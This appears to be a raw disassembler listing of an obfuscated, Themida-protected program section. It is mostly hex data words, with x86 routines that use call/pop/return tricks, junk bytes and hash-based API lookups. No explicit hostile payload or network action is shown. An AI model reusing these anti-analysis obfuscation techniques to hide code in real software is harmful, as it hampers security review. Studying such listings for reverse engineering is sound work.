dd 80000000h, 0F77E858Dh, 0FF50060Dh, 0B026595h, 8E858906h
dd 0C6060E00h, 0B284585h, 87684706h, 0FFC7B15Eh, 0B0B01B5h
dd 0D858D06h, 0FF060B39h, 0FF006AD0h, 0E008EB5h, 8BD0FF06h
dd 0B0C2D8Dh, 3D29B506h, 37D0h, 4C830Fh, 958B0000h, 60B13C1h
dd 8EB5FFh, 0B589060Eh, 60B059Dh, 161FD981h, 95FF52E4h
dd 60B0B8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0F9C35242h, 9C808EBh, 0D7BF0F0Dh, 115E9h, 0FC10BF00h
dd 0B5FF3A5Eh, 60E008Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0D6C35343h, 0FF8F6331h, 0B0B8D95h, 0E18D8B06h
dd 6A060B28h, 0D68B6600h, 820F006Ah, 6, 2041B529h, 0BD8B060Bh
dd 60B0079h, 8B66006Ah, 0B1006ACFh, 66006AB0h, 6AF88Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h
dd 8D473ACDh, 0E009285h, 3D9D8906h, 50060B05h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 3FEF0DBAh
dd 6595FF72h, 6A060B02h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0E90FC357h, 11h, 0CD2C38FDh
dd 28179745h, 11DCC0E0h, 9B055134h, 0FFF883F5h, 188850Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0C459F0C3h, 1F07F551h, 69D958Bh, 858D060Bh
dd 60DBB83h, 0B966D0FFh, 6AFAC3h, 0AE957h, 0BAF10000h
dd 0A420E6C1h, 76CC2D5Bh, 1006A5Fh, 0B04CD85h, 60606006h
dd 8D8D8961h, 61060B09h, 82DDCCB8h, 6A612Ch, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0F8BF0FD5h
dd 55B6006Ah, 6A6BC980h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0F299FF4Fh, 0F0D2D984h
dd 6AE723h, 98F3F181h, 858D734Dh, 60E0092h, 6958D0Bh, 8950060Bh
dd 0B0F098Dh, 6595FF06h, 0E8060B02h, 13h, 0D6686C9Dh, 98B75CB0h
dd 0F5872D2Ch, 5529ADDh, 0FA8921Eh, 28Fh, 59616000h, 0FFFF883h
dd 8D85h, 0B5B58900h, 8D060B1Fh, 0DFA9AB5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 8DCC95C3h, 0DA5F985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0FFCB8713h, 8138B2D0h
dd 31CB99C9h, 66006A0Ah, 0D809EA81h, 3699589h, 95FF060Bh
dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0F4C35646h, 0AD7E6DAAh, 8589FA8Bh, 60E008Eh, 2AE18D8Bh
dd 6A060Bh, 59D78B53h, 86858Dh, 0C8B5060Eh, 0D7816650h
dd 46ACEECh, 28E5BD23h, 8D8B060Bh, 60B1E85h, 1F75858Dh
dd 0BD8B060Bh, 60B1A59h, 0D68B6650h, 0F83CCF81h, 6A46ADh
dd 8D8B006Ah, 60B0259h, 168D0Fh, 11E90000h, 14000000h
dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 6E9016Ah
dd 8000000h, 0E87602Eh, 8EB5FF3Ah, 0E9060E00h, 12h, 0D303E876h
dd 0CA5410ECh, 37631970h, 0B3E9E178h, 95FFA526h, 60B0599h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B1C35141h
dd 2FFE81BAh, 46E9E94Eh, 0E800001Bh, 6, 0EE814A2Dh, 840F48E5h
dd 6, 0BDDBD33h
; ---------------------------------------------------------------------------
or eax, [esi]
pop ecx
; START OF FUNCTION CHUNK FOR sub_56D398
loc_56D937: ; CODE XREF: sub_56D398+Aj
mov eax, eax
stc
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56D94C
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56D965
loc_56D94C: ; CODE XREF: sub_56D398+5A9j
push eax
push ebx
mov eax, eax
mov eax, 7D2h
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB31Ah]
call ebx
pop ebx
pop eax
loc_56D965: ; CODE XREF: sub_56D398+5B2j
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_56D985
push eax
push ebx
mov eax, 7D2h
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB009h]
call ebx
pop ebx
pop eax
loc_56D985: ; CODE XREF: sub_56D398+5D4j
jmp loc_56D998
; END OF FUNCTION CHUNK FOR sub_56D398
; ---------------------------------------------------------------------------
dw 1E37h
dd 0FF8A4AACh, 5D08C6AAh, 0FE6B1D7Eh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D398
loc_56D998: ; CODE XREF: sub_56D398:loc_56D985j
mov cx, bx
push 0
push edi
call sub_56D9A6
and [edi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_56D398
; =============== S U B R O U T I N E =======================================
sub_56D9A6 proc near ; CODE XREF: sub_56D398+606p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_56D9A6 endp
; ---------------------------------------------------------------------------
dw 6C1Bh
db 2Eh, 8Bh, 0C0h
; ---------------------------------------------------------------------------
call sub_56D9C7
mov ecx, 0C2077203h
movsb
std
; =============== S U B R O U T I N E =======================================
sub_56D9C7 proc near ; CODE XREF: Themida_:0056D9BBp
; FUNCTION CHUNK AT 0056DB77 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056DBBE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DBD4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056F465 SIZE 00000011 BYTES
mov ecx, [ebp+60B0C41h]
pop ecx
mov dword ptr [ebp+60B0B19h], 1
jmp loc_56D9EE
; ---------------------------------------------------------------------------
db 26h, 38h, 0Fh
dd 0BF4565D4h, 0B193EE47h, 2F74AEC7h
db 64h, 71h
; ---------------------------------------------------------------------------
loc_56D9EE: ; CODE XREF: sub_56D9C7+11j
push 0CEE4E7B8h
push dword ptr [ebp+60B194Dh]
lea eax, [ebp+60B390Dh]
call eax
mov [ebp+60B1865h], eax
push 0C005DBD4h
push dword ptr [ebp+60B194Dh]
lea eax, [ebp+60B390Dh]
call eax
mov [ebp+60B2A61h], eax
lea eax, [ebp+60DF537h]
push eax
push dword ptr [ebp+60B0B01h]
call dword ptr [ebp+60B13D1h]
or eax, eax
jz short loc_56DA42
mov ebx, eax
lea eax, [ebp+60E04EAh]
push eax
call ebx
loc_56DA42: ; CODE XREF: sub_56D9C7+6Ej
lea eax, [ebp+60E04EAh]
cmp word ptr [eax], 9
jnz short loc_56DA58
mov dword ptr [ebp+60B0DB1h], 1
loc_56DA58: ; CODE XREF: sub_56D9C7+85j
call dword ptr [ebp+60B165Dh]
and eax, 0FFh
cmp eax, 5
jnb short loc_56DA72
mov dword ptr [ebp+60B2859h], 1
loc_56DA72: ; CODE XREF: sub_56D9C7+9Fj
jmp loc_56DA83
; ---------------------------------------------------------------------------
db 0C5h
dd 82FF728Bh, 0CED6CE05h
db 21h, 0ACh, 77h
; ---------------------------------------------------------------------------
loc_56DA83: ; CODE XREF: sub_56D9C7:loc_56DA72j
jmp loc_56DA96
; ---------------------------------------------------------------------------
dd 0D1492DC6h, 4834CF2h, 9DD0919Eh
; ---------------------------------------------------------------------------
scasb
push edx
loc_56DA96: ; CODE XREF: sub_56D9C7:loc_56DA83j
cmp byte ptr [ebp+60E00F9h], 0
jnz loc_56DAB4
mov edi, [ebp+60B0331h]
jmp loc_56F465
; ---------------------------------------------------------------------------
mov edx, [ebp+60B08B1h]
loc_56DAB4: ; CODE XREF: sub_56D9C7+D6j
cmp dword ptr [ebp+60B0DB1h], 0
jnz loc_56DB77
push edi
mov dl, 0Ah
pop ecx
lea eax, [ebp+60E00C3h]
push 0
push edi
call sub_56DAD6
and [edi-3Dh], bl
sub_56D9C7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_56DAD6 proc near ; CODE XREF: sub_56D9C7+107p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_56DAD6 endp
; ---------------------------------------------------------------------------
dw 356Dh
; ---------------------------------------------------------------------------
icebp
pop edx
cmpsb
sub al, 89h
mov ch, 0ADh
or eax, 8B50060Bh
lea edx, [ecx]
sbb [ebx], cl
push es
push 1
mov di, si
push 0
push 0
push edx
call sub_56DB0B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56DB0B proc near ; CODE XREF: Themida_:0056DB03p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_56DB0B endp
; ---------------------------------------------------------------------------
mov dword ptr [eax-4CEC0163h], 89FA53B0h
lea ebx, [ebp+0F060B0Fh]
mov bh, 0D1h
push 0
pusha
push eax
adc bh, 3
pop esi
pusha
mov eax, edi
popa
popa
and edi, [ebp+60B0BC5h]
call dword ptr [ebp+60B27A5h]
mov ecx, edi
mov [ebp+60E00EDh], eax
jge loc_56DB57
mov ch, 10h
loc_56DB57: ; CODE XREF: Themida_:0056DB4Fj
push 0FFFFFFFFh
sbb edi, 4E6095Eh
push dword ptr [ebp+60E00EDh]
mov edi, [ebp+60B1F69h]
call dword ptr [ebp+60B2411h]
mov edx, [ebp+60B1505h]
; START OF FUNCTION CHUNK FOR sub_56D9C7
loc_56DB77: ; CODE XREF: sub_56D9C7+F4j
lea eax, [ebp+60DF4FEh]
mov edx, [ebp+60B2181h]
jbe loc_56DB8F
mov [ebp+60B1FA9h], ebx
loc_56DB8F: ; CODE XREF: sub_56D9C7+1BCj
push eax
mov ecx, [ebp+60B2125h]
sub [ebp+60B2F39h], eax
call dword ptr [ebp+60B2875h]
mov edi, [ebp+60B12A5h]
mov [ebp+60DF588h], eax
jmp loc_56DBBE
; END OF FUNCTION CHUNK FOR sub_56D9C7
; ---------------------------------------------------------------------------
db 14h
dd 0FE0E2389h, 0F3016B9Eh
; ---------------------------------------------------------------------------
mov bh, 59h
; START OF FUNCTION CHUNK FOR sub_56D9C7
loc_56DBBE: ; CODE XREF: sub_56D9C7+1E7j
lea eax, [ebp+60DF50Bh]
jmp loc_56DBD4
; END OF FUNCTION CHUNK FOR sub_56D9C7
; ---------------------------------------------------------------------------
db 75h, 0D5h, 0D7h
db 0CCh
align 2
pop esi
pop esi
lodsb
mov ah, [ecx]
push eax
; START OF FUNCTION CHUNK FOR sub_56D9C7
loc_56DBD4: ; CODE XREF: sub_56D9C7+1FDj
push eax
call near ptr loc_56DBE5+1
mov ds:20F540B1h, al
sbb eax, 0AC89A76Dh
pop ds
loc_56DBE5: ; CODE XREF: sub_56D9C7+20Ep
bound ecx, [ebx]
xchg eax, ebp
pop ecx
sub ecx, [ebx]
push es
pop edi
push dword ptr [ebp+60DF588h]
push 0
push esi
call sub_56DBFE
and [esi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_56D9C7
; =============== S U B R O U T I N E =======================================
sub_56DBFE proc near ; CODE XREF: sub_56D9C7+22Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_56DBFE endp
; ---------------------------------------------------------------------------
dw 7C36h
; ---------------------------------------------------------------------------
sbb cx, 0FCC3h
push edx
sub [ebp+60B0415h], ecx
pop ecx
call dword ptr [ebp+60B13D1h]
push 0
push ebx
call sub_56DC2E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56DC2E proc near ; CODE XREF: Themida_:0056DC26p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_56DC2E endp
; ---------------------------------------------------------------------------
jge short loc_56DC7D
adc al, 0EEh
mov edx, [ebp+60B059Dh]
mov di, si
mov [ebp+60B1B8Dh], eax
push 0
push eax
call sub_56DC5C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56DC5C proc near ; CODE XREF: Themida_:0056DC54p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_56DC5C endp
; ---------------------------------------------------------------------------
dd 0E800B598h, 8, 767FDD78h, 1FBA2F6Ah
; ---------------------------------------------------------------------------
push esi
loc_56DC7D: ; CODE XREF: Themida_:0056DC3Ej
adc dh, 15h
pop edi
pop edx
jmp loc_56DC8C
; ---------------------------------------------------------------------------
db 28h
dd 32749303h
; ---------------------------------------------------------------------------
loc_56DC8C: ; CODE XREF: Themida_:0056DC82j
lea eax, [ebp+60DF579h]
mov [ebp+60B0979h], edi
mov ecx, esi
push eax
mov ecx, [ebp+60B3351h]
push dword ptr [ebp+60DF588h]
cld
mov edi, [ebp+60B02C9h]
call dword ptr [ebp+60B13D1h]
mov [ebp+60B16BDh], edi
jmp loc_56DCC5
; ---------------------------------------------------------------------------
db 9, 0E4h
; ---------------------------------------------------------------------------
xchg eax, ebp
inc edi
les esi, [edi]
loc_56DCC5: ; CODE XREF: Themida_:0056DCBAj
mov [ebp+60DF59Ch], eax
push 0
push ebx
call sub_56DCD6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56DCD6 proc near ; CODE XREF: Themida_:0056DCCEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_56DCD6 endp
; ---------------------------------------------------------------------------
dw 0C018h
dd 10E8E064h, 29000000h, 0BB5F5383h, 146D78B3h, 0C215D8DEh
dd 0B531321Ah, 858D5973h, 60DF558h, 72E5CA81h, 8B500E0Ah
dd 0B20698Dh, 318D8B06h, 0FF060B2Fh, 0DF588B5h, 0CBBF0F06h
dd 3C99D89h, 95FF060Bh, 60B13D1h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 4EC35747h, 38E119h, 8B18EE0Ah
dd 0B01658Dh, 94858906h, 50060DF5h, 0F8BF0F60h, 27359D8Bh
dd 5F61060Bh, 0F54B858Dh, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 50A818C3h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D8C35646h, 0A0E1F16Ah
dd 66DFC69Bh, 0FF0889B9h, 0DF588B5h, 0EE806h, 0F8420000h
dd 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 1375BD2Bh, 895A060Bh
dd 0B014995h, 0D195FF06h, 8B060B13h, 0B063D95h, 0B5295106h
dd 60B00F1h, 9885895Fh, 8A060DF5h, 66858DD3h, 81060DF5h
dd 7DEF0DE9h, 0E2815020h, 4775E9EBh, 0F588B5FFh, 6A060Dh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 7D3814C3h, 0E8E0DA5Ah, 12h, 0EE035520h, 4BCD8277h, 0AC87392h
dd 4B762E26h, 0EF8A06EDh, 95FFFC59h, 60B13D1h, 0F18589F5h
dd 0E9060B02h, 8, 6C0DCF21h, 686B57B8h, 0F51A858Dh, 0B70F060Dh
dd 0B70F50D0h, 88B5FFD7h, 0B9060DF5h, 352385E0h, 13D195FFh
dd 0B966060Bh, 85892CE7h, 60DF58Ch, 15298D0Bh, 0CE8060Bh
dd 0BF000000h, 91CD4019h, 28B5B065h, 891AC02Eh, 0B0439BDh
dd 858D5F06h, 60DF529h, 68B0Fh, 8D8B0000h, 60B22F1h, 0BD2B5750h
dd 60B31B5h, 88B5FF5Fh, 0E9060DF5h, 10h, 0F3066DA2h, 0A1C3F032h
dd 8F255D9h, 0E57777C9h, 13D195FFh, 0E680060Bh, 908589BEh
dd 0B2060DF5h, 0FE9C9h, 54910000h, 6AF6D185h, 2DE06BAFh
dd 0B75D83F3h, 1046893h, 870F0000h, 6, 45B589h, 858D060Bh
dd 60DF620h, 4099589h, 6050060Bh, 0CDD9589h, 11E8060Bh
dd 0A7000000h, 0B41DF14Eh, 0CBD04FCCh, 28D6D084h, 347129B9h
dd 20B5B523h, 615B060Bh, 0F724858Dh, 0BD89060Dh, 60B1FB5h
dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0DE2AB413h, 3EEAB696h, 6860Fh, 8D0B0000h
dd 60B04A9h, 26C19589h, 95FF060Bh, 60B0519h, 0E1816652h
dd 855FBEF4h, 2850FC0h, 8B000000h, 0F9BD80FAh, 60E00h
dd 11850Fh, 8D8B0000h, 60B2969h, 14A8E9h, 29B58900h, 83060B31h
dd 0B0DB1BDh, 850F0006h, 21h, 8B31FEB9h, 0C9BF0F23h, 5A3BD83h
dd 0F00060Eh, 2584h, 68D0F00h, 89000000h, 0B0B6585h, 0BD858D06h
dd 0F060DF5h, 66E9D3B7h, 0E9000014h, 12h, 0E719589h, 858D060Bh
dd 60DF5A8h, 122D958Bh, 6A50060Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8BC4C356h
dd 0B0EF18Dh, 20858D06h, 81060DF6h, 0BB6DC5EFh, 0B9665007h
dd 0BD83CE07h, 60B0DB1h, 71840F00h, 0E9000000h, 8, 52A5D089h
dd 0DBB575F6h, 0F746858Dh, 6A060Dh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 14697AC3h
dd 0EA22BF7Ah, 5ED8D8Bh, 8A0F060Bh, 11h, 0B8D0Fh, 6E90000h
dd 0E0000000h, 4DAC5723h, 26E994h, 29600000h, 0B0341B5h
dd 6860F06h, 89000000h, 0B067985h, 0B5896106h, 60B0F61h
dd 0F72F858Dh, 8D89060Dh, 60B00D9h, 7E858D50h, 66060DF7h
dd 8950FE8Bh, 0B21A985h, 0D95FF06h, 0F060B00h, 0C280D7BFh
dd 10C48377h, 0FAACBF66h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0A2180FC3h, 0BD837A8Ch
dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h
dd 7D3B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h
dd 0D1BD8358h, 60B29h, 53501774h, 7D3B8h, 35858900h, 8D060B2Ah
dd 0DB0099Dh, 5BD3FF06h, 0B5295358h, 60B1A2Dh, 6870F5Ah
dd 81000000h, 33959DDAh, 66C08B24h, 0BD81D78Bh, 60DF5A8h
dd 6165726Fh, 8F840Fh, 0BA660000h, 9D8955AFh, 60B3349h
dd 0F620858Dh, 8D50060Dh, 0DF75D85h, 858D5006h, 60DF77Eh
dd 0D95FF50h, 83060B00h, 85C60CC4h, 60B2845h, 184F6844h
dd 0B5FF96A3h, 60B0B01h, 390D858Dh, 0D0FF060Bh, 858DD88Bh
dd 60DF77Eh, 8DD3FF50h, 0DF5A885h, 858D5006h, 60DF620h
dd 0B1BD8350h, 60B0Dh, 858D0874h, 60DF746h, 858D06EBh
dd 60DF72Fh, 7E858D50h, 50060DF7h, 0D95FFh, 0C483060Bh
dd 198D2310h, 8B060B07h, 0B17D9BDh, 5D95FF06h, 6A060B16h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 0EE00C351h, 25840B76h, 0FFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 10C35343h, 0EDA99ABAh
dd 0C280986Ch, 0BDEE80F5h, 0F05F883h, 2483h, 5985C700h
dd 1060B28h, 0F000000h, 58Ch, 7B91BA00h, 858D737Eh, 60DF5DCh
dd 43E92DB2h, 0B6000000h, 0B1BD836Bh, 60B0Dh, 2E840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 858D6BC3h, 60DF607h, 0DCF8166h, 8E938h, 0FB8B0000h
dd 0F5E9858Dh, 8589060Dh, 60DF61Ch, 0E9F98B66h, 11h, 9B5548FDh
dd 93BEE265h, 0FE129581h, 327CF8BAh, 0B1BD83F3h, 60B0Dh
dd 21850Fh, 0DF810000h, 28B6F77Eh, 9EAB18B9h, 0A3BD8318h
dd 60E05h, 2F840Fh, 0B70F0000h, 0AD8D23CAh, 0E9060B0Ch
dd 1135h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 4FC35242h, 0BCF0854Dh, 447E952h, 0BD8B0000h, 60B1599h
dd 0B589C08Bh, 60B053Dh, 5BDBD83h, 7500060Bh, 0D1BD8309h
dd 60B29h, 53501974h, 0D4B8C08Bh, 89000007h, 0B2A3585h
dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h
dd 0D4B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h
dd 8B585BD3h, 0B0DA195h, 0DDB50906h, 8B060B03h, 57006AC0h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 8952AC8Ah, 0B0D45B5h, 3F685A06h, 6A000F00h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 3841C353h, 5481F0E0h, 0A3203B75h, 67E98166h, 8DBD8927h
dd 6A060B21h, 0E18D8B00h, 66060B01h, 0F6F3D181h, 8D8B006Ah
dd 60B0AD1h, 1B8D95FFh, 8D8B060Bh, 60B0F19h, 850FC085h
dd 9, 1EA18D8Bh, 8B66060Bh, 0A08589CEh, 6A060DF5h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 3280C357h, 95F014CFh, 0CA8BDEFBh, 6AEBB2h, 33758D8Bh
dd 6A060Bh, 8D8B006Ah, 60B26F5h, 0AE9006Ah, 30000000h
dd 12647A53h, 2A61FD17h, 8D006A79h, 0DF77E85h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0A0658103h, 0F5350FFh, 38Fh, 0CF8B6600h, 8B016A59h
dd 0B2016AF9h, 29016A15h, 0B299D9Dh, 1FF6806h, 0B966000Fh
dd 0BD83D9D4h
dd 60B0DB1h, 2A840F00h, 60000000h, 19359D8Bh, 0CD80060Bh
dd 858D61BBh, 60DF5FDh, 29FD8D8Bh, 3EE9060Bh, 0E9000000h
dd 9, 0B19D05EBh, 674F3929h, 0D3858DF3h, 60060DF5h, 61953151h
dd 5F060B11h, 14E8h, 7240B800h, 0C9753296h, 5F1B3DDAh
dd 0FE9B5F3h, 0A1959FFh, 0F9852B5Dh, 58060B31h, 6A505061h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 17FC353h, 7CA423BFh, 0E9C2B63Eh, 10h, 6B7DBB91h
dd 302A4E9Eh, 2BB7659Eh, 72508963h, 0F5A0B5FFh, 0CF8B060Dh
dd 8C95FFFCh, 0F060DF5h, 681h, 59958B00h, 3060B31h, 0B12B995h
dd 0FC08506h, 2F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 893A3C59h, 0B00E99Dh
dd 43E906h, 9D890000h, 60B1359h, 0F5A48589h, 8166060Dh
dd 0FFF0CEE2h, 0DF5A4B5h, 6E906h, 0CF580000h, 0AA55413Ah
dd 2F195FFh, 8B50060Bh, 0B1FAD95h, 0C0855906h, 0B850Fh
dd 6E90000h, 0C9000000h, 5FDF793Eh, 2B106AD7h, 0B20BD95h
dd 5B58906h, 83060B29h, 0B0DB1BDh, 840F0006h, 1Ch, 87DB589h
dd 858D060Bh, 60DF5FDh, 0D8C641B9h, 12E942h, 0DF810000h
dd 7A702B7Eh, 0F5D3858Dh, 8531060Dh, 60B0C0Dh, 798D8B50h
dd 0F060B05h, 689h, 0D9858900h, 0FF060B17h, 0DF5A0B5h
dd 28F0F06h, 8B000000h, 9895FFCFh, 8B060DF5h, 0FC085FAh
dd 1285h, 0C820F00h, 0F000000h, 689h, 800F00h, 89000000h
dd 0DF5A485h, 49BD8B06h, 6A060B33h, 9D858900h, 6A060B08h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0DD810B19h, 0F8E51ECEh, 10E96091h, 0C5000000h
dd 9D8E2C7h, 4F53F3FDh, 86B5EE51h, 0BE686FB9h, 29FC9AE5h
dd 0A4B5FF61h, 8B060DF5h, 0B0339BDh, 9095FF06h, 2B060DF5h
dd 0B2F498Dh, 0FC08506h, 2085h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1CC6C6A0h
dd 0A4B5FFE5h, 80060DF5h, 95FFEEDEh, 60B02F1h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BCC35040h, 0F76AAEE5h
dd 89D6BEAFh, 0B2021BDh, 0FC08506h, 2485h, 10E86000h, 8B000000h
dd 2244DEE8h, 4FBA7F71h, 0F388535Eh, 8B98D58Ch, 0B2F35BDh
dd 0BD895806h, 60B2A69h, 6A006A61h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8C1DC355h
dd 0BD29C8DFh, 60B0995h, 8068h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0EE9F1h, 0F4800000h
dd 6FBFDD38h, 0E4E801DEh, 0F850EF7Ah, 0B589036Ah, 60B06E9h
dd 0BD89006Ah, 60B1A59h, 0E280006Ah, 5860F28h, 66000000h
dd 316BD781h, 68h, 0FFD38AC0h, 0DF61CB5h, 0C9816606h, 95FF8FA0h
dd 60B0265h, 0B7D98166h, 0DE8DCh, 0B6C50000h, 4793E45Fh
dd 0B6C70962h, 8B248029h, 0F8835ACBh, 66850FFFh, 0BA000005h
dd 779A95A1h, 18D99529h, 85FF060Bh, 60E008Ah, 246D9501h
dd 9D89060Bh, 60B3281h, 8ABD83h, 0F02060Eh, 40A84h, 0DD00B900h
dd 858D6C33h, 5AF59Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 5AC35242h, 61393360h, 0FD0FF8Eh, 987h
dd 38A0F00h, 80000000h, 858D4CD2h, 5AEFF2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 81C35646h, 8B80041Dh
dd 0B07F9BDh, 0E9D0FF06h, 10h, 73EABD59h, 0CC9D0E80h, 6F6C4AC6h
dd 0C5525A85h, 7E8h, 0BEE0C600h, 743F1A81h, 5AD4E180h
dd 9D29C08Bh, 60B2A69h, 5BDBD83h, 7500060Bh, 0D1BD8309h
dd 60B29h, 53501974h, 0D8B8C08Bh, 89000007h, 0B2A3585h
dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h
dd 0D8B85350h, 89000007h, 0B2A3585h, 99D8D06h, 0FF060DB0h
dd 0E9585BD3h, 0Dh, 70B744E9h, 745CFFECh, 0F145EF55h, 0CEF781CAh
dd 803B8C9Ch, 0C08BA6C5h, 4398501h, 3F68060Bh, 8B000F00h
dd 0B185995h, 8B006A06h, 9E9FAh, 342F0000h, 785ED287h
dd 6AE1286Eh, 6800F00h, 89000000h, 0B27FD85h, 8D95FF06h
dd 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0F233C355h, 6EC67886h, 8589C085h
dd 60B0069h, 0F5A08589h, 6A060Dh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 83B611C3h, 81665676h
dd 6839B5DAh, 0F01FFh, 23F58D8Bh, 0BD83060Bh, 60B0DB1h
dd 36840F00h, 8B000000h, 0B291995h, 0FD858D06h, 0B060DF5h
dd 0B158DBDh, 4CE906h, 8B660000h, 0EE850FAh, 0A000000h
dd 557036FDh, 0E758C953h, 84D7893h, 3DBD89EAh, 5F060B1Bh
dd 0D3858D59h, 6A060DF5h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 4A3FC353h, 0BEE8F3Bh
dd 84C8BA1Ch, 665052FEh, 3F67EA81h, 0F5A0B5FFh, 0C181060Dh
dd 219881FDh, 0F59895FFh, 9E8060Dh, 49000000h, 11C6054Ah
dd 0C730697Eh, 6880Fh, 0DF810000h, 435CBECCh, 0A485895Ah
dd 23060DF5h, 0B0CF18Dh, 0CA8B6606h, 0C7D85C7h, 60Bh, 0F1800000h
dd 0A4BD83A5h, 60DF5h, 18F840Fh, 8E80000h, 0AE000000h
dd 745B2D98h, 0BAB14B5Ah, 6F87E7EFh, 82858D5Ah, 89060DF8h
dd 0B292D9Dh, 81665006h, 6AEDD7CFh, 0CA816601h, 0B5FF5455h
dd 60DF5A4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0DBC35242h, 75DD9E18h, 95FFF94Ah, 60DF59Ch, 1BC1B501h
dd 0B5FF060Bh, 60DF5A4h, 0DAD9529h, 95FF060Bh, 60B02F1h
